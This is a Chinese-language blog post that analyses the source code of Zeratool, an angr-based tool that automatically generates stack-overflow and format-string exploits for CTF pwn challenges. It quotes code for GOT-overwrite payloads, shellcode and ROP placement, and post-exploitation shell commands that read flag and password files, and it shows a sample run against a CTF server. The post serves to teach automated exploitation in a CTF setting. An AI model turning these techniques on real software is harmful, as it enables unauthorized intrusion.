前言
Zeratool 实现了针对 CTF 中的 pwn 题的自动化利用生成（Automatic Exploit Generation）以及远程获取 flag。
它基于 angr, 探索程序未约束的状态，继而分析状态的寄存器信息和内存布局，设定约束，对约束进行求解，结合 pwntools 编写脚本，提交 payload 到远程 CTF 服务器获得 flag。
本篇文章结合源码对 zeratool 的实现思路进行分析。通过阅读该文，可以对angr 和 pwn的自动化利用进一步认识。
注：zeratool 基于 angr7 ，不兼容当前的 angr8
使用
Zeratool 主要针对栈溢出和格式化字符串漏洞，实现的漏洞利用方式如下：
- 栈溢出漏洞——修改 pc：
win function / shellcode / rop chain /one gadget - 格式化字符串——修改 got 表项:
win function / shellcode
zeratool 接收 binary 作为参数，同时可以配置其他选项：
[chris:~/Zeratool] [angr] python zeratool.py -h usage: zeratool.py [-h] [-l LIBC] [-u URL] [-p PORT] [-v] file positional arguments: file File to analyze optional arguments: -h, --help show this help message and exit # 帮助信息 -l LIBC, --libc LIBC libc to use # 指定 libc -u URL, --url URL Remote URL to pwn # 远程 Url -p PORT, --port PORT Remote port to pwn # 远程端口 -v, --verbose Verbose mode # 设置调试模式
使用示例：
#!/bin/bash #Buffer Overflows with win functions python zeratool.py challenges/ret -u ctf.hackucf.org -p 9003 python zeratool.py challenges/bof3 -u ctf.hackucf.org -p 9002 #Format string leak python zeratool.py challenges/easy_format #Format string point to win function python zeratool.py challenges/medium_format #Format string point to shellcode python zeratool.py challenges/hard_format #有时需要运行两遍 #Buffer overflow point to shellcode python zeratool.py challenges/demo_bin
接下来，我将结合源码介绍 zeratool 的思想。
源码分析
目录
zeratool.py #顶层模块 lib - formatDetector.py #检测格式化字符串漏洞 - formatExploiter.py #利用格式化字符串漏洞 - formatLeak.py # 检查信息泄露 - inputDetector.py # 检查输入类型 - overflowDetector.py # 检查缓冲区溢出 - overflowExploitSender.py # 发送 exploit - overflowExploiter.py # 利用缓冲区溢出 - protectionDetector.py # 检查保护机制 - winFunctionDetector.py # 检查目标函数
lib 下包含各个模块，实现了漏洞自动化利用的相关接口，zeratool.py 负责顶层调用。lib 模块可以粗略分为三类：信息检测/漏洞检测/漏洞利用。接下来分模块介绍
顶层接口
zeratool
zeratool 调用顶层接口，总体逻辑大致如下：
)
zeratool 关于利用的属性会存储在 properties 字典中，如以下属性
properties['pwn_type']['position'] properties['pwn_type']['length'] properties['pwn_type']['input'] # 输入字符串 properties['pwn_type']['type'] # 漏洞类型，分为 Overflow / Format properties['pwn']['exploit'] properties['input_type'] #输入方式 properties['win_functions'] #如有目标函数，存在这里 properties['win_functions'][func]['fcn_addr'] properties['protections']['got'] properties['libc']
首先读取二进制程序，调用接口检测漏洞类型：
properties['pwn_type'] = overflowDetector.checkOverflow(args.file,inputType=properties['input_type']) if properties['pwn_type']['type'] is None: print("[+] Checking for format string pwn type...") properties['pwn_type'] = formatDetector.checkFormat(args.file,inputType=properties['input_type'])
overflowDetector.checkOverflow检测缓冲区溢出漏洞formatDetector.checkFormat检测格式化字符串漏洞
这个两个接口均会返回一个字典存储在 properties['pwn_type'] 下，包含漏洞的一些信息
包含的信息如下：
- 栈溢出情况：
type / input - 格式化字符串情况：
type / position / length / input
获得保护机制信息：
properties['protections'] = protectionDetector.getProperties(args.file)
接下来，为漏洞利用部分，如果是格式化字符串漏洞，检查是否可以直接通过泄露获得 flag，如果获得 flag 则直接结束。
if properties['pwn_type']['type'] == "Format": properties['pwn'] = formatLeak.checkLeak(args.file,properties) # 检测 flag 泄露 if properties['pwn']['flag_found'] and args.url is not "": # 连接远程服务器 properties['pwn']['exploit'] = formatLeak.checkLeak(args.file,properties,remote_server=True,remote_url=args.url,port_num=int(args.port)) if properties['pwn']['flag_found']: # 找到 flag, 直接退出 exit(0)
检查程序中是否有目标函数（利用时直接劫持控制流到该函数即可）
properties['win_functions'] = winFunctionDetector.getWinFunctions(args.file)
接下来，如果是缓冲区溢出漏洞，调用 exploitOverflow ，通过约束求解获得 input 值，发送 expoit。若是格式化字符串漏洞，则调用 exploitFormat 接口。如果可以成功利用并提供了 url，则连接远程服务器。无法利用则输出 [-] Can not determine vulnerable type
if properties['pwn_type']['type'] == "Overflow": properties['pwn_type']['results'] = overflowExploiter.exploitOverflow(args.file, properties, inputType=properties['input_type']) # 利用缓冲区溢出漏洞 if properties['pwn_type']['results']['input']: properties['send_results'] = overflowExploitSender.sendExploit(args.file,properties) # 如果可以成功利用 if properties['send_results']['flag_found'] and args.url is not "": properties['remote_results'] = overflowExploitSender.sendExploit(args.file,properties,remote_server=True,remote_url=args.url,port_num=int(args.port)) # 连接远程服务器利用 elif properties['pwn_type']['type'] == "Format": properties['pwn_type']['results'] = formatExploiter.exploitFormat(args.file,properties) # 利用格式化字符串漏洞 if properties['pwn_type'] is not None and 'flag_found' in properties['pwn_type'].keys() and properties['pwn_type']['results']['flag_found'] and args.url is not "": # 如果可以成功利用 properties['pwn_type']['send_results'] = formatExploiter.getRemoteFormat(properties,remote_url=args.url,remote_port=int(args.port)) # 连接远程服务器利用 else: print("[-] Can not determine vulnerable type")
以上就是 zeratool 自动化解题的顶层逻辑，接下来深入介绍各个模块。
信息检测
检查保护机制
检测 binary 信息/保护机制，获取相关属性保存在 properties 中，如下
binary = ELF(binary_name) properties['aslr'] = binary.aslr properties['arch'] = binary.arch properties['canary'] = binary.canary properties['got'] = binary.got properties['nx'] = binary.nx properties['pie'] = binary.pie properties['plt'] = binary.plt properties['relro'] = binary.relro
检查输入类型
分为三种 stdin /arg /libpwnable
通过判断是否存在 'fgets','gets','scanf','read'函数确定是否从 stdin 获取输入。
reading_functions = ['fgets','gets','scanf','read'] binary_functions = p.loader.main_object.imports.keys() #Match reading functions against local functions if any([x in reading_functions for x in binary_functions]): return "STDIN" return "ARG"
文中会针对 STDIN 的情况进行讲解，这也是一般情况，ARG 和 LIBPWNABLE 两种输入类型会选择性忽略，不过利用思想大致相似，只是一些数据处理逻辑不同。
检查目标函数
检测 binary 是否有目标函数(winFunction), 分为两种: 一种为调用 system(/bin/sh)，另一种为读取 flag.txt
使用 r2 进行分析
r2 = r2pipe.open(binary_name) r2.cmd('aaa')
- 检测
system函数调用
functions = [func for func in json.loads(r2.cmd('aflj'))] # 获得函数列表 #Check for function that gives us system(/bin/sh) for func in functions: if 'system' in str(func['name']): system_name = func['name'] #获得交叉引用 refs = [func for func in json.loads(r2.cmd('axtj @ {}'.format(system_name)))] for ref in refs: if 'fcn_name' in ref: winFunctions[ref['fcn_name']] = ref #存储函数信息及引用
通过 r2 命令：aflj 获得 json 格式的函数列表，遍历该列表，找到函数名包含 system 的函数，使用 axt [addr] 命令获得代码段和数据段对函数的引用。将引用函数的信息存储在 winFunctions[ref['fcn_name']] 中。
- 检测 flag 读取
known_flag_names = ["flag","pass"] # 标志字符串 strings = [string for string in json.loads(r2.cmd('izj'))] #获得 data 段的字符串 for string in strings: value = string['string'] decoded_value = base64.b64decode(value) if any([x in decoded_value for x in known_flag_names]): # 查看字符串是否包含 flag/ pass address = string['vaddr'] # 获得字符串的地址 #获得交叉引用信息 refs = [func for func in json.loads(r2.cmd('axtj @ {}'.format(address)))] for ref in refs: if 'fcn_name' in ref: winFunctions[ref['fcn_name']] = ref
通过r2 的 izj 命令获得数据段的字符串（in JSON)，遍历字符串，查看是否包含 “flag” 或 “pass" 字符串，如果包含，通过访问 vaddr 属性，获得字符串的地址，再通过 axtj 命令获取有关该地址的引用信息，将信息存储在 winFunctions[ref['fcn_name']] 中。
注：any() 函数用于判断给定的可迭代参数 iterable 是否全部为 False，则返回 False，如果有一个为 True，则返回 True。
漏洞检测
检查溢出漏洞
overflowDetector.py 检查是否有溢出漏洞。
探索路径:
try: @timeout_decorator.timeout(120) # 设置 timeout def exploreBinary(simgr): # 探索程序状态 simgr.explore(find=lambda s: 'type' in s.globals,step_func=overflow_filter) exploreBinary(simgr) if 'found' in simgr.stashes and len(simgr.found): # 如果找到目标状态 end_state = simgr.found[0] # 探索到的可利用状态 run_environ['type'] = end_state.globals['type'] # 漏洞类型
调用模拟管理器的 explore 接口探索程序状态，直到找到 state 的 globals 包含 type 信息。（type 代表漏洞类型，说明找到漏洞）， 指定 step_function 为 overflow_filter 。每次 stash 中的状态 step forward 时都运行该函数。
我们来看一下 overflow_filter 的实现。
for path in simgr.unconstrained: # 检查 unconstrained 状态是否满足约束 state = path.state eip = state.regs.pc # 获取 eip 的访问 bits = state.arch.bits # 架构的位数，通常 32/64 state_copy = state.copy() #Constrain pc to 0x41414141 or 0x41414141414141 constraints = [] for i in range(bits / 8): # 逐次对 eip 的字节添加约束 curr_byte = eip.get_byte(i) constraint = claripy.And(curr_byte == 0x41) constraints.append(constraint) #检查可满足性 if state_copy.se.satisfiable(extra_constraints=constraints): for constraint in constraints: state_copy.add_constraints(constraint)
overflow_filter 对SM中 unconstrained 状态进行分析，检查寄存器 pc 的值是否可控。设定输入约束，设置 pc 为指定值（这代表我们可以劫持控制流），接下来限定 stdin 输入为可打印字符。
#约束输入值为可打印字符 stdin = state.posix.files[0] constraints = [] stdin_size = 300 stdin.length = stdin_size stdin.seek(0) stdin_bytes = stdin.all_bytes() for i in range(stdin_size): curr_byte = stdin.read_from(1) constraint = claripy.And(curr_byte > 0x2F, curr_byte < 0x7F) # 添加约束 if state.se.satisfiable(extra_constraints=[constraint]): # 判断是否满足 constraints.append(constraint)
通过以上步骤，我们主要添加了两大约束：1. 限定寄存器 pc 的值 2. 限定 stdin 为可打印字符。
添加约束后，使用求解器对输入字符串进行约束求解，可以求解说明找到可利用状态。
#对 stdin 输入字符串进行约束求解 stdin_str = repr(str(state.posix.dumps(0).replace('\x00','').replace('\x01',''))) print("[+] Vulnerable path found {}".format(stdin_str)) state.globals['type'] = "Overflow" # 设置漏洞类型 simgr.stashes['found'].append(path) # 添加找到的路径/状态 simgr.stashes['unconstrained'].remove(path)
通过 overflow_filter ，我们可以确定状态的漏洞类型及可利用状态。
在进行程序状态探索时，如果找到确定了漏洞类型即停止探索，将相关信息存储在 run_environ 变量中并返回。
检查格式化字符串漏洞
formatDetector.py 检查是否有格式化字符串漏洞。
zeratool 会使用 printFormat 函数 hook printf 函数。
p.hook_symbol('printf',printFormat)
然后与缓冲区溢出检查类似，探索程序状态，当有 state 满足 find 条件时，状态会保存在 found stash 中，并将漏洞相关信息保存在run_environ对象返回。不同的是，主要分析逻辑在 printFormat 中。
try: @timeout_decorator.timeout(120) def exploreBinary(simgr): simgr.explore(find=lambda s: 'type' in s.globals) exploreBinary(simgr) if 'found' in simgr.stashes and len(simgr.found): end_state = simgr.found[0] run_environ['type'] = end_state.globals['type'] run_environ['position'] = end_state.globals['position'] run_environ['length'] = end_state.globals['length'] if (inputType == "STDIN" or inputType == "LIBPWNABLE")and end_state is not None: stdin_str = str(end_state.posix.dumps(0)) print("[+] Triggerable with STDIN : {}".format(stdin_str)) run_environ['input'] = stdin_str # 记录触发漏洞的输入字符串
接下来，我们来看一下 printFormat 的逻辑，因为是 hook printf 函数，printFormat 相当于一个 SimProcedure 对象。
class printFormat(angr.procedures.libc.printf.printf):
printFormat 首先检查传递给 printf 的变量的内存中是否有可控字节：
for i in xrange(5): state_copy = self.state.copy() # 获得当前 State 的拷贝 solv = state_copy.solver.eval printf_arg = self.arg(i) # 获得 printf 的参数 var_loc = solv(printf_arg) var_value = state_copy.memory.load(var_loc) # 加载参数变量 var_value_length = int("0x"+str(var_value.length),16) # 变量长度 symbolic_list = [state_copy.memory.load(var_loc + x).get_byte(0).symbolic for x in xrange(var_value_length)] # 获取变量中的可控字节（符号化）
接下来借用 symbolic_list 寻找最大的可缓冲区
position = 0 #记录缓冲区起始位置 count = 0 greatest_count = 0 # 可控区域的最大长度 prev_item = symbolic_list[0] for i in range(1,len(symbolic_list)): if symbolic_list[i] and symbolic_list[i] == symbolic_list[i-1]: count = count +1 if (count > greatest_count): greatest_count = count # 更新最大长度 position = i - count # 更新起始位置 else: if (count > greatest_count): greatest_count = count # 更新最大长度 position = i - 1 - count # 更新起始位置 count = 0 # 置零，重新开始统计 print("[+] Found symbolic buffer at position {} of length {}".format(position,greatest_count))
最后找到以 position 为起始位置，长度为 greatest_count 的一片可控缓冲区。
接下来，对缓冲区内容添加约束并求解 stdin 的输入，如果可以求解，stdin_str 中包含 "%x_" ，则说明存在格式化字符串漏洞。
if greatest_count > 0: str_val = "%x_" self.constrainBytes(state_copy,var_value,var_loc,position,var_value_length,strVal=str_val) # 对缓冲区内容添加约束 vuln_string = solv(var_value, cast_to=str) # 获得变量 string 形式的字符串 #Verify solution if state_copy.globals['inputType'] == "STDIN" or state_copy.globals['inputType'] == "LIBPWNABLE": stdin_str = str(state_copy.posix.dumps(0)) # 约束求解，获得输入字符串 if str_val in stdin_str: # 说明存在格式化字符串漏洞 var_value = self.state.memory.load(var_loc) self.constrainBytes(self.state,var_value,var_loc,position,var_value_length) print("[+] Vulnerable path found {}".format(vuln_string)) # 输出漏洞字符串 self.state.globals['type'] = "Format" self.state.globals['position'] = position self.state.globals['length'] = greatest_count return True
调用 constrainBytes 函数用于对缓冲区添加约束，设置其内容为指定字符串。默认字符串 pattern 为 %x_ ，实现如下：
# length 为缓冲区长度，loc 缓冲区位置。（实际并没有用到 symVar 和 position） def constrainBytes(self, state, symVar, loc,position, length, strVal="%x_"): for i in range(length): strValIndex = i % len(strVal) # 获得对应的字符 curr_byte = self.state.memory.load(loc + i).get_byte(0) #获得对应字节 constraint = state.se.And(strVal[strValIndex] == curr_byte) # 添加约束 if (state.se.satisfiable(extra_constraints=[constraint])): # 判断是否可以满足约束 state.add_constraints(constraint) else: print("[~] Byte {} not constrained to {}".format(i,strVal[strValIndex]))
检查信息泄露
formatLeak.checkLeak() 检查是否可以直接通过信息泄露获得 flag。
在检查格式化字符串漏洞模块，我们会记录触发漏洞的输入字符串（stdin_str) 通过访问 properties['pwn_type']['input'] 可以得到。
%x 用于以十六进制的形式输出变量信息，通过构造多个 %x，我们可以越界输出栈上的内容。%x 用于泄露内存中的数据。
设置格式化字符串，依次泄露字符串后的地址，以 8 位十六进制数显示，每一轮发送一次字符串。format_count 代表格式化字符串中 %x 的数目。
format_count = base_input_string.count('_%x') if properties['input_type'] == "STDIN" or properties['input_type'] == "LIBPWNABLE": for i in xrange((run_count / format_count) +1): #Create local or remote process if remote_server: proc = remote(remote_url,port_num) else: proc = process(binary_name) input_string = base_input_string # 输入个格式化字符串 #Swap in values for every _%x for j in range(format_count): iter_num = (i * format_count) + j # 计算是第几个 %x #设置格式化字符串的值，第 iter_num个值以8位十六进制数显示 input_string = input_string.replace('_%x','_%{}$08x'.format(iter_num),1) proc.sendline(input_string) # 发送字符串 results = proc.recvall(timeout=5) # 返回信息
发送格式化字符串后，通过 printf 函数，我们获得输出信息，下一步进行解析，使用 ”_" 作为分割
data_leaks = results.split('_') data_leaks = [x[0:8] if all([y in string.hexdigits for y in x]) else "" for x in data_leaks] data_leaks = [''.join([y[x:x+2] for x in range(0, len(y), 2)][::-1]) for y in data_leaks] try: data_copy = data_leaks data_leaks = [binascii.unhexlify(x) for x in data_leaks]
最后获得完整的输出信息(full_string), 如果该字符串中存在 “{” 和 “}” 则说明获得了 flag, 将泄露信息返回
if '{' in full_string and '}' in full_string: # 判断是否存在 flag print("[+] Flag found:") leakProperties['flag_found'] = True # 标志 flag found leakProperties['leak_string'] = full_string # 泄露的信息 print("[+] Returned {}".format(full_string)) return leakProperties
以上就是漏洞检测相关内容，接下来我们查看漏洞利用部分。
漏洞利用
格式化字符串漏洞
基本利用技巧为修改 got 表项为 shellcode 地址或目标函数。
利用思路：
- 计算格式化字符串的偏移量
- 通过构造 payload 修改 got 表项目标函数或 shellcode 地址（不考虑 NX 包含）
首先获得格式化字符串缓冲区在栈上偏移，记为 stack_position：
#Determine stack location for i in range(1, 50): iter_string = "aaaa_%{}$08x_".format(i) # 关键 payload,用于探测 buffer的偏移 iter_string = assembleInput(iter_string,start_slice,end_slice,input_len) results = runIteration(binary_name,iter_string,input_type=properties['input_type']) if "61616161" in results: # 0x41414141 == "AAAA" stack_position = i # 确定 buffer 的偏移为 i print("[+] Found stack location at {}".format(stack_position)) break
其中使用 assembleInput 函数计算得到输入的字符串。runIteration 函数用于发送 payload 并处理得到的字符串。
如果存在目标函数，则覆盖某一 got 表项为目标函数的地址：
# 对于存在目标函数的情况 if len(properties['win_functions']) > 0: for func in properties['win_functions']: address = properties['win_functions'][func]['fcn_addr'] #获取目标函数 for got_name,got_addr in properties['protections']['got'].items(): # 遍历 got 表项 print("[~] Overwritting {}".format(got_name)) writes = {got_addr:address} format_payload = fmtstr_payload(stack_position, writes, numbwritten=input_pos) # 构造 payload,将 got 地址改为目标函数地址 if len(format_payload) > input_len: print("[~] Format input to large, shrinking") format_payload = fmtstr_payload(stack_position, writes, numbwritten=input_pos, write_size='short') format_input = assembleInput(format_payload,start_slice,end_slice,input_len) # 获取输入字符串 # 发送payload 并处理返回结果 results = sendExploit(binary_name,properties,format_input) if results['flag_found']: exploit_results['flag_found'] = results['flag_found'] exploit_results['input'] = format_input return exploit_results return exploit_results
构造 payload 时利用了 pwntools 的 fmtstr_payload 工具（ format_payload 详细 API信息 )
fmtstr_payload 用于自动生成格式化字符串 payload：
pwnlib.fmtstr.fmtstr_payload(offset, writes, numbwritten=0, write_size='byte') - offset (int)：控制的第一个格式化变量的偏移量 - writes (dict)：格式为 {addr: value, addr2: value2}， 往 addr 里写入 value 的值（常用：----{printf_got}） - numbwritten (int)：已经由 printf 函数写入的字节数
如果不存在目标函数，且没有 NX 保护，则考虑写入 shellcode，修改 got 地址指向 shellcode:
elif not properties['protections']['nx']: print("[+] Binary does not have NX") print("[+] Overwriting GOT entry to point to shellcode") rediscoverAndExploit(binary_name,properties,stack_position)
rediscoverAndExploit 重新探索程序状态进行漏洞利用，部分逻辑与 formatDetector 模块相似。
下面看一下具体实现：
properties['shellcode'] = getShellcode(properties) properties['stack_position'] = stack_position inputType = properties['input_type'] p = angr.Project(binary_name) p.hook_symbol('printf',printFormatSploit)
用 getShellcode() 函数根据程序架构获取 shellcode，初始化项目，并使用 printFormatSploit 函数 hook printf，接下来调整寄存器的值。
if inputType == "STDIN": ''' angr doesn't use the right base and stack pointers when loading the binary, so our addresses are all wrong. So we need to grab them manually ''' entryAddr = p.loader.main_object.entry # 获取入口地址 reg_values = getRegValues(binary_name,entryAddr) # 将入口地址作为 r2 的运行断点 state = p.factory.full_init_state(args=argv) register_names = state.arch.register_names.values() # 获取寄存器的名称 for register in register_names: if register in reg_values: state.registers.store(register,reg_values[register]) # 重新设置寄存器的值
getRegValues 使用 r2 获取运行时寄存器的值，通过 angr 的 state.registers.store 重新设置寄存器的值。
def getRegValues(filename,endAddr): r2 = r2pipe.open(filename) r2.cmd('doo') # Reopen in debugger mode with args r2.cmd('dcu {}'.format(endAddr)) # Continue until address regs = json.loads(r2.cmd('drj')) # Show 'gpr' registers r2.quit() return regs
接下来探索程序状态，与漏洞检测部分类似，我们重点看一下 printFormatSploit 的实现。它与 formatDetector 中的 printFormat 函数类似，区别在于获得可控缓冲区后的处理逻辑。
printFormat 获取缓冲区后便尝试构造 payload ，设定漏洞利用约束，尝试将 shellcode 存放在缓冲区中。
实际构造的字符串格式为 (Format GOT Write) + (Shellcode)，因为需要计算 (Format GOT Write) 的长度，此处需要模拟构造一次 payload 获得长度，以此计算 shellcode 的地址。
# 获得可控的缓冲区，前面的逻辑与 printFormat 相同 if greatest_count > 0: shellcode = properties['shellcode'] stack_pos = properties['stack_position'] for got_name,got_addr in properties['protections']['got'].items(): backup_state = state_copy.copy() print("[+] Overwiting {} at {}".format(got_name,hex(got_addr))) solv = state_copy.solver.eval # 模拟写入获得估计长度 buffer_address = var_loc + position # 获得可控 buffer的起始的地址 writes = {got_addr:buffer_address} format_write = fmtstr_payload(stack_pos, writes, numbwritten=position, write_size='short') # 构造 payload, 将 got 地址改为 buffer 地址 write_len = len(format_write) #Real write buffer_address = var_loc + position + write_len # 获得用于写入shellcode的buffer地址 writes = {got_addr:buffer_address} format_write = fmtstr_payload(stack_pos, writes, numbwritten=position, write_size='short') #Final payload format_payload = format_write + shellcode # 最终输入的字符串 var_value_length = len(format_payload) self.constrainBytes(state_copy,var_value,var_loc,position,var_value_length,strVal=format_payload) # 设定约束 vuln_string = solv(var_value, cast_to=str) binary_name = state_copy.project.filename results = {} results['flag_found'] = False print('[~] Testing payload') #约束求解获得 stdin 值，发送 payload 并处理返回信息 results = sendExploit(binary_name,properties,state_copy.posix.dumps(0)) if results['flag_found'] == True: exploit_results['flag_found'] = results['flag_found'] exploit_results['input'] = format_input
sendExploit 函数用于发送 payload, 并处理返回信息，如果返回信息包含 “{” 和 “}”，则说明找到 flag。如果没有，返回的可能是 shell，发送 cat命令获取 flag。
proc.sendline() proc.sendline("ls;\n") proc.sendline("cat *flag*;\n") # 发送 shell 命令获得 flag proc.sendline("cat *pass*;\n") command_results = proc.recvall(timeout=30) if '{' in command_results and '}' in command_results: # 查看是否有 flag send_results['flag_found'] = True print("[+] Flag found:") print(command_results.replace('\x20\x20',''))
以上就是格式化字符串漏洞利用的大致内容，有些特殊情况的处理没有提及，可以通过阅读源码了解。
接下来我们查看缓冲区溢出漏洞利用的内容。
缓冲区溢出漏洞
overflowExploiter.py ，主函数为 exploitOverflow
利用思路：修改 pc 值指向 winfunction / ropchain / shellcode地址，劫持程序控制流。
首先初始化项目，探索程序状态，设置模拟管理器 explore 时的 step_func 为 pickFilter函数，此处逻辑与检测缓冲区溢出漏洞逻辑相似，只是 step_func 不同。
simgr = p.factory.simgr(state, immutable=False, save_unconstrained=True) step_func = pickFilter(simgr,properties) # 设置 step_func .... run_environ = {} run_environ['type'] = None end_state = None try: @timeout_decorator.timeout(1200) def exploreBinary(simgr): simgr.explore(find=lambda s: 'type' in s.globals,step_func=step_func) # 探索 exploreBinary(simgr) if 'found' in simgr.stashes and len(simgr.found): # 找到 end_state = simgr.found[0] end_state_eb = simgr.found[0].globals['state_eb'] run_environ['type'] = end_state.globals['type']
我们来看一下 pickFilter 的实现，该函数用于判断程序信息，以采用不同的漏洞技术, 对应实现了 point_to_win_filter / point_to_shellcode_filter / point_to_ropchain_filter 三个子函数，这三个子函数均对模拟管理器中的未约束状态进行分析，根据情况构造不同的约束
if properties['win_functions']: # 存在目标函数则修改 got 指向目标函数 print("[+] Using point to win function technique") return point_to_win_filter elif not properties['protections']['nx']: # 如果没有 NX，则采用 shellcode print("[+] Binary does not have NX") print("[+] Placing shellcode and pointing") return point_to_shellcode_filter else: print("[+] Building rop and pointing") return point_to_ropchain_filter # 使用 ropchain return None
在 point_to_win_filter 中，构造如下约束:
- pc 的值为目标函数的地址
- stdin 值为可打印字符
最后进行约束求解，得到输入字符串
stdin_str = repr(str(state.posix.dumps(0).replace('\x00','').replace('\x01','')))
在 point_to_shellcode_filter，约束条件如下：
- 获取可控的 buffer, 可存放 shellcode
- 限定 pc 值指向 buffer 地址
- 输入值为可打印字符
获取符号化的内存，根据长度进行排序
addresses = [x for x in find_symbolic_buffer(state_copy,len(shellcode))] if len(addresses): list.sort(addresses)
如果无法满足，找到 bad bytes, 添加到 avoidList，重新生成shellcode.
my_buf = state_copy.memory.load(address,len(shellcode)) #获取 buffer 的内容 state_copy.satisfiable(extra_constraints=([my_buf == shellcode])) #判断是否可以满足
如果无法找到合适的 shellcode, 会抛出异常。
except PwnlibException as e: print("[-] Unable to encode shellcode to avoid {}".format(avoidList)) break
否则，我们会获得可以满足条件的 shellcode, 最后设定约束对输入值进行求解。
constraints = constrainToAddress(state_copy,eip,address)
代码中还考虑了大端序和小端序的问题，这里就略去了。
最后通过 repr(str(state.posix.dumps(0))) 对输入字符串进行约束求解。
point_to_ropchain_filter 函数与 point_to_shellcode_filter十分相似，只是 shellcode 改为 ropchain
getRopchain 函数实现了构造 ropchain，该函数利用了 ropper 的 RopperService 来构造 rop 链。
以上就是缓冲区溢出漏洞利用的主要内容。
运行结果
以下 zeratool 运行示例效果，感兴趣的可以使用其他程序试试，查看效果。
root@3566e45f97d4:/ctf/Zeratool# python zeratool.py challenges/ret -u ctf.hackucf.org -p 9003 [+] Checking pwn type... [+] Checking for overflow pwn type... [+] Vulnerable path found '0000000000000000000000000000000000000000000000000000000000000000\xef\xbe\xad\xde000...' [+] Triggerable with STDIN : '0000000000000000000000000000000000000000000000000000000000000000\xef\xbe\xad\xde00...' [+] Getting binary protections [+] Found win function sym.win [+] Exploiting overflow Process with PID 825 started... File dbg:///ctf/Zeratool/challenges/ret reopened in read-write mode = attach 825 825 Continue until 0x0804868b using 1 bpsize hit breakpoint at: 804868b [+] Using point to win function technique [+] Vulnerable path found '0000000000000000000000000000000000000000000000000000000000000000\xef\xbe\xad\xde000000000000\x08\x04\x86\x1b0000000000000000' [+] Triggerable with STDIN : '0000000000000000000000000000000000000000000000000000000000000000\xef\xbe\xad\xde000000000000\x08\x04\x86\x1b0000000000000000\x00\x00\x00...' '0000000000000000000000000000000000000000000000000000000000000000\xef\xbe\xad\xde000000000000\x08\x04\x86\x1b0000000000000000\x00\x00\x00\x00....' [~] Failed exploit launch. Switching Endianess '0000000000000000000000000000000000000000000000000000000000000000\xef\xbe\xad\xde000000000000\x1b\x86\x04\x080000000000000000\x0.....' you Win! challenges flag.txt lib radare2 samples.sh core install.sh LICENSE README.md zeratool.py flag{y0u_g0t_1t}
总结
zeratool 基于 angr，其漏洞利用自动化思路基本就是探索状态，分析利用状态，设定约束，求解约束。Zeratool 仅实现了格式化字符串和栈溢出漏洞的自动化利用，使用的利用技术也较为简单，而且没有考虑一些保护机制，实现也有一些有一些冗余，许多地方逻辑相似但是没有很好地模块化。
参考链接
如有侵权请联系:admin#unsafe.sh